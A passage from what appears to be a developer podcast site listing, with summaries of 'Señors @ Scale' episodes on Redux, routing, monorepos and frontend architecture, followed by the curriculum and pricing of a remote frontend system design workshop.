Señors @ Scale host Neciu Dan sits down with Mark Erikson, maintainer of Redux and senior front-end engineer at Replay.io, where he works on a time-traveling debugger. Mark's path started with a 286 he got at eight years old, ran through a computer science degree, four years teaching English in China, embedded software at Northrop Grumman emulating legacy CPUs in old aircraft, and a chain of projects — GWT, jQuery, Backbone — that led him to React and Redux. From the @deprecated backlash that had people insulting him on the internet, to why the Redux core hasn't meaningfully changed since 2016, to what RTK Query actually solves, the underused listener middleware, building source maps into React's own build pipeline, and how Replay's recordings now hand debugging over to AI agents — this is the Redux conversation grounded in two decades of shipping software.
---
## Episode 39: Routing at Scale with Nicolas Beaussart-Hatchuel
URL: https://neciudan.dev/takeaways/routing-at-scale-with-nicolas-beaussart-hatchuel
Guest: Nicolas Beaussart-Hatchuel (Staff Engineer at Payfit, TanStack Router maintainer, ex-Principal at Hasura)
Señors @ Scale host Dan Neciu sits down with Nicolas Beaussart-Hatchuel, staff engineer at Payfit and one of the maintainers of TanStack Router. Nicolas's path started with C macros to auto-generate his student paper headers and frontend learned by building phishing login pages for practice, took him through an iframe-based AngularJS-to-Angular 2 micro frontend migration at a web radio platform, into open source contributions across NX, ESLint, Vite and Hasura, and finally to maintaining one of the most ambitious routers in the React ecosystem. From why TanStack Router exists, to migrating Payfit's 300-route, 1.5-million-line codebase off React Router v5 using the strangler pattern, to collapsing 25 polyrepos and five different micro frontend strategies into a single modular monolith, this is the routing conversation most engineers never get.
---
## Episode 4: Refactoring at Scale – With Jose Calderon
URL: https://neciudan.dev/takeaways/refactoring-at-scale-with-jose-calderon
Guest: Jose Calderon (Lead Software Engineer at JP Morgan Chase)
Published: 2025-08-14
In this episode of Señors @ Scale, host Neciu Dan sits down with Jose Calderon — Lead Software Engineer at JP Morgan Chase, conference speaker, and Java/Spring community leader — to dive deep into refactoring vs rewriting at scale, how to track and justify architecture decisions, and the testing strategies that keep enterprise systems reliable.
---
## Episode 40: Monorepos at Scale with Santosh Yadav
URL: https://neciudan.dev/takeaways/monorepos-at-scale-with-santosh-yadav
Guest: Santosh Yadav (Principal Developer Advocate at CodeRabbit, Angular Google Developer Expert, GitHub Star, Nx Champion, ex-staff engineer at Celonis)
Señors @ Scale host Neciu Dan sits down with Santosh Yadav, principal developer advocate at CodeRabbit and one of only around 80 GitHub Stars in the world. Santosh started hating C in 2004, fell for C# by 2008, and turned a year of open source contributions to Angular and NgRx into a stack of community titles — Google Developer Expert, GitHub Star, Nx champion, and Microsoft MVP. As a staff engineer at Celonis he led the move of 20-plus apps to module federation and drove Nx adoption across 30-plus teams when the product grew from four apps to thirty. From the year-long incremental migration off a single deployable unit, to why polyrepos can't give AI tools the context they need, to how Nx's affected graph and build caching tame a 20-million-line monorepo, to running code review for free for open source at CodeRabbit, this is the monorepo conversation grounded in someone who actually shipped one at scale.
---
## Episode 5: React at Scale – With Matheus Albuquerque
URL: https://neciudan.dev/takeaways/react-at-scale-with-matheus-albuquerque
Guest: Matheus Albuquerque (Staff Frontend Engineer at Medallia, Google Developer Expert in Web Technologies)
Published: 2025-08-21
In this episode of Señors @ Scale, host Neciu Dan sits down with Matheus Albuquerque — Staff Frontend Engineer at Medallia, Google Developer Expert, and international speaker — to dive deep into React internals, performance optimization, and the scaling lessons learned from applications used by millions worldwide.
---
## Episode 6: Mentorship at Scale – With Eduardo Aparicio Cardenes
URL: https://neciudan.dev/takeaways/mentorship-at-scale-with-eduardo-aparicio-cardenes
Guest: Eduardo Aparicio Cardenes (Front-End Engineer, ADPList Top 100 Mentor 2025)
Published: 2025-10-03
In this episode of Señors @ Scale, host Neciu Dan sits down with Eduardo Aparicio Cardenes — Front-End Engineer and ADPList Top 100 Mentor — to unpack 15+ years of engineering lessons, the reality of promotions, and what it truly means to mentor and scale as a leader.
---
## Episode 7: Open Source at Scale – With Erik Rasmussen
URL: https://neciudan.dev/takeaways/open-source-at-scale-with-erik-rasmussen
Guest: Erik Rasmussen (Principal Product Engineer at Attio, Creator of Redux Form & React Final Form)
Published: 2025-09-01
In this episode of Señors @ Scale, host Neciu Dan sits down with Erik Rasmussen — creator of Redux Form and React Final Form, and now Principal Product Engineer at Attio — to talk about building open source at scale, developer experience, and the hidden lessons behind shipping tools other developers rely on.
---
## Episode 8: Organizing Conferences at Scale – With Aris
URL: https://neciudan.dev/takeaways/organizing-conferences-at-scale-with-aris
Guest: Aris (Founder & Lead Organizer of CityJS)
Published: 2025-09-07
In this episode of Señors @ Scale, host Neciu Dan sits down with Aris — founder and lead organizer of CityJS — to talk about building developer communities, organizing meetups, and scaling conferences into global events.
---
## Episode 9: Frontend Architecture at Scale – With Faris Aziz
URL: https://neciudan.dev/takeaways/frontend-architecture-at-scale-with-faris-aziz
Guest: Faris Aziz (Staff Front-End Engineer at Small PDF, Co-Founder of ZurichJS)
Published: 2025-09-15
In this episode of Señors @ Scale, host Neciu Dan sits down with Faris Aziz — Staff Front-End Engineer at Small PDF and co-founder of ZurichJS — to talk about scaling frontend systems, the power of BFF architecture, and the human side of engineering culture.
---
# Workshops
## From Lizard to Wizard – Frontend System Design Intensive
URL: https://neciudan.dev/lizard-to-wizard
Format: Fully remote, 4 hours
Next session: Wednesday, August 5, 2026, 5:00 PM – 9:00 PM Barcelona time
Price: €299
4-hour remote system design intensive. Build a chat app, master microfrontends, BFF, SDUI, event-driven architecture, and observability.
### Curriculum
#### 1. Frontend System Design
Build a WhatsApp-scale chat app the way senior engineers do — then walk into your next system-design interview ready to defend every choice out loud.
- The RADIO framework — 5 minutes that turn an interview from "panic mode" into a structured walkthrough
- Architecting a real-time chat app: virtualization, optimistic updates, WebSocket reconnection, typing indicators, offline queue
- Folder structure that scales — feature-based vs atomic, when to switch
- State management decision tree — useState, Context, React Query, Zustand, when each one is right
- Cursor-based pagination + scroll-position management (the edge cases interviewers love to ask)
- Normalized state shapes so the same message never lives in two places
#### 2. Microfrontends & Module Federation
Why every 30+ engineer org you've heard of ended up here — and how to adopt them without accidentally building a distributed monolith.
- The 4 real reasons companies adopt microfrontends
- Vertical vs horizontal architecture — which one to pick for your team's shape
- Module Federation deep-dive — dependency sharing, runtime loading, shared singletons
- Inter-microfrontend communication: query params, broadcast API, shared event bus, "brain" microfrontend
- Bounded contexts + Conway's Law applied to frontend org charts
- The smell that means microfrontends are wrong for your situation (recognize it before you commit)
#### 3. BFF & Server-Driven UI
Move UI decisions to the backend so iOS, Android, and web stay in sync without three deploy cycles and an App Store review.
- Server-driven UI: when the backend shapes what users see
- Designing the render contract between server and client
- Driving navigation, analytics, and A/B tests from the backend
- The line between SDUI and "downloading code" — Apple and Google's rules
- Backend-for-Frontend: when a tailored gateway pays for itself
- Live config updates without WebSocket complexity
#### 4. Event-Driven Architecture
Stop tangling your components together — let them talk through events you can replay, audit, and test in isolation.
- The event bus pattern — when it saves you, when it betrays you
- Decoupling cross-cutting concerns (notifications, analytics, audit trails) from business logic
- Pub/Sub for inter-microfrontend communication without a global store
- Frontend event sourcing — yes, really, and when it's the right call
- Replayability + time-travel debugging from your event log
- Avoiding the "spaghetti events" anti-pattern with named domains and contracts
- Testing event-driven flows without mocking the entire universe
#### 5. Frontend Observability
Stop guessing what your users hit. Logs, traces, metrics — and dashboards that surface incidents before your customers tweet about them.
- Logs vs metrics vs traces — what each one is actually for, and why mixing them costs you
- Instrumenting a frontend with OpenTelemetry end to end
- SLOs and SLIs that don't page on noise
- Distributed tracing across microfrontends — yes, this is hard, here's how
- Real-user monitoring (RUM) vs synthetic monitoring — both, neither, when
- Walking through a real production incident together — what we'd have caught earlier
- Alert rules engineers actually trust (the absence of "alert fatigue" is a metric)
### Prerequisites
- 2+ years JavaScript/TypeScript
- Familiarity with React
- Basic data structures
- Experience with REST APIs
- Working knowledge of Git
### Outcomes
- Pass frontend system design interviews with structured, defensible answers
- Architect production-grade React systems that scale past 100k users
- Decide between microfrontends, BFF, and SDUI based on your team's actual shape
- Instrument a frontend with observability that surfaces incidents before customers do
- Defend architectural choices out loud — to your team, your manager, and your interviewer
### Bonuses included
- Full workshop repo: Every line of code we write together, yours to keep and revisit.
- All slides, every project: The complete deck for every part — perfect reference material.
- Discount on future workshops: A standing discount on anything I teach next.
- Accessibility deep-dive deck: Bonus slides on WCAG, ARIA, and inclusive design — yours to keep.
- Security essentials deck: Bonus slides on XSS, CSRF, CSP, and auth patterns — yours to keep.
- Design patterns deck: Bonus slides on creational, structural, and behavioral patterns in React.
---